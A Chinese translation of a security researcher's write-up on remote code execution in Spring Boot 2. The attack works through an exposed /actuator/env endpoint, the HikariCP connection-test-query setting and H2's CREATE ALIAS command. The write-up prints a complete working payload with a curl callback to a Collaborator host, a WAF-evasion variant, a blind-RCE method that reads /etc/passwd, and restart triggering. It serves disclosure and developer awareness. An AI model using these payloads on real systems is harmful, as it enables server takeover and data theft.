序幕
Spring Boot框架是當今最流行的基於Java的微服務框架之一,它可以幫助開發人員快速輕鬆地部署Java應用。Spring Boot專注爲開發人員提供友好的工具和便捷的配置,加速開發過程。
然而,某些默認的開發設置在缺乏經驗的開發人員手中可能會變得很危險。我的這篇文章是基於Michal Stepankin的成果,他研究了在Spring Boot 1.x中如何利用被暴露的Actuator通過反序列化實現RCE。通過進一步研究,我在Spring Boot 2上發現一個最新的RCE方法,主要和默認的HikariCP數據庫連接池以及一個常見的Java開發數據庫,H2數據庫引擎有關。我還基於Spring Boot的默認教程應用創建了一個Spring示例來演示該漏洞。
讓我們從最後的payload開始:
POST /actuator/env HTTP/1.1
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');CALL EXEC('curl http://x.burpcollaborator.net');"}
payload包含三個不同的部分:向/actuator/env
端點發送的環境變量修改請求,CREATE ALIAS
的H2 SQL命令,當然還有最後的惡意操作系統命令。
暴露的Actuators
Spring Boot的Actuator會自動創建幾個HTTP端點,幫助開發人員輕鬆地監視和管理應用。正如Stepankin所指出的,從Spring 1.5版本開始,除了/health
和/info
之外的所有端點都被認爲是敏感的,而且在默認設置下它們都是安全的。但是應用開發人員經常會禁用這種安全設置。此次攻擊的重點在於,端點/actuator/env
必須對外暴露。只要開發人員添加management.endpoints.web.exposure.include=env
(或者更糟糕的management.endpoints.web.exposure.include=*
)到application.properties
配置文件即可。
端點/actuator/env
涉及GET和POST方法,可用於檢索和設置應用的環境變量。POST請求的格式如下:
POST /actuator/env HTTP/1.1
{"name":"<NAME OF VARIABLE>","value":"<VALUE OF VARIABLE>"}
在應用的環境變量列表中,提供了大量執行數據和系統數據。然而,這些變量中只有很少一部分可以用來更改正在運行的應用,而用於實現命令執行的變量就更少了。不過幸運的是,Spring Boot 2.x默認使用了HikariCP數據庫連接池,這就會引入一個特殊的變量。
H2 CREATE ALIAS Command
HikariCP主要幫助應用與數據庫進行通信。根據相關文檔,它有一個配置connectionTestQuery
,其中定義了從連接池中向你提供連接之前所執行的SQL查詢,主要是爲了驗證數據庫連接一直保持活躍。相對應的Spring啓動環境變量是spring.datasource.hikari.connection-test-query
。簡而言之,每當創建一個新的數據庫連接時,spring.datasource.hikari.connection-test-query
的值就將首先作爲SQL查詢立刻執行。有兩種方法可以觸發新的數據庫連接——通過POST /actuator/restart
請求重新啓動應用,或者更改數據庫連接的數量,通過嚮應用發出多個請求來初始化它。
請注意,此時問題就已經很嚴重了——你可以運行任意的SQL語句刪除數據庫。現在,讓我們進一步討論H2數據庫引擎,它是最流行的Java開發數據庫之一,可以把它看作是基於java的SQLite,它只需要一個依賴項,非常容易集成到Spring Boot中,通常用於Spring Boot的開發。
Matheus Bernardes強調了H2中所包含的一個重要SQL命令:CREATE ALIAS
。這和PostgreSQL的用戶自定義函數類似,你可以定義與別名對應的Java函數,然後在SQL查詢中調用它,就像調用函數一樣。
CREATE ALIAS GET_SYSTEM_PROPERTY FOR "java.lang.System.getProperty";
CALL GET_SYSTEM_PROPERTY('java.class.path');
自然,你也可以藉此使用Java的Runtime.getRuntime().exec
函數去直接執行系統命令。
繞過安全限制
在實際測試中,你可能會遇到WAF,特別是payload中還有exec()
等敏感字符串。然而,我們的payload可以使用各種字符串連接技術輕鬆繞過安全防護。RIPStech的Johannes Moritz通過使用CONCAT
和HEXTORAW
命令實現了這一點:
CREATE ALIAS EXEC AS CONCAT('void e(String cmd) throws java.io.IOException',
HEXTORAW('007b'),'java.lang.Runtime rt= java.lang.Runtime.getRuntime();
rt.exec(cmd);',HEXTORAW('007d'));
CALL EXEC('whoami');
另一個挑戰是,你所攻擊的環境可能存在諸多限制。例如目標應用可能在一個Docker實例中運行,沒有網絡,可用的命令也有限。在Docker中最常見的Linux操作系統Alpine Linux甚至沒有Bash。此外,exec()
函數是執行原始的操作系統命令,和常用的shell無關,沒有布爾比較、管道和重定向等有用的特性。
不過,請記住,以上所提及的spring.datasource.hikari.connection-test-query
是用於驗證到數據庫的連接是否仍然是活動的。如果查詢失敗,應用將認爲數據庫不可用,並且不再返回其他數據庫查詢結果。攻擊者可以利用這一點實現盲RCE,你使用的命令將不是curl x.burpcollaborator.net
這樣的,而是grep root /etc/passwd
。一旦查詢成功,它將返回輸出,應用繼續正常運行。如果執行grep nonexistent /etc/passwd
後,無有效輸出,Java將拋出錯誤代碼,查詢失敗,應用也會出錯。
String shellexec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream());
if (s.hasNext()) {
return s.next(); // OS command returns output; return output and SQL query succeeds
}
throw new IllegalArgumentException(); // OS command fails to return output; throw exception and SQL query fails
}
這是一種將三個特性連接在一起創建攻擊payload的有趣方法,你也可以在非常有限的環境中證明是否發生了命令執行。在這非常感謝Ian Bouchard指出了盲RCE的可能性。
希望在實際測試中你並不會遇到那麼多困難,而是可以直接通過curl
進行測試,就像我示例中脆弱的Spring應用一樣。
結論
一旦對/actuator/env
和/actuator/restart
等端點管理不善,開發人員就會將他們的應用置於遠程命令執行的安全威脅之中。若是在內網還好,但你也可以想象一個粗心的開發人員在開發期間無意將應用暴露到公共IP上。
這篇文章和以前相似文章的同一個主題是,開發人員很容易在不知情的情況下往自己的開發項目中引入嚴重漏洞。Actuator和H2數據庫是加速開發的重要工具,但也別忽視其中蘊含的危險。
本文由白帽彙整理並翻譯,不代表白帽匯任何觀點和立場:https://nosec.org/home/detail/3926.html
來源:https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database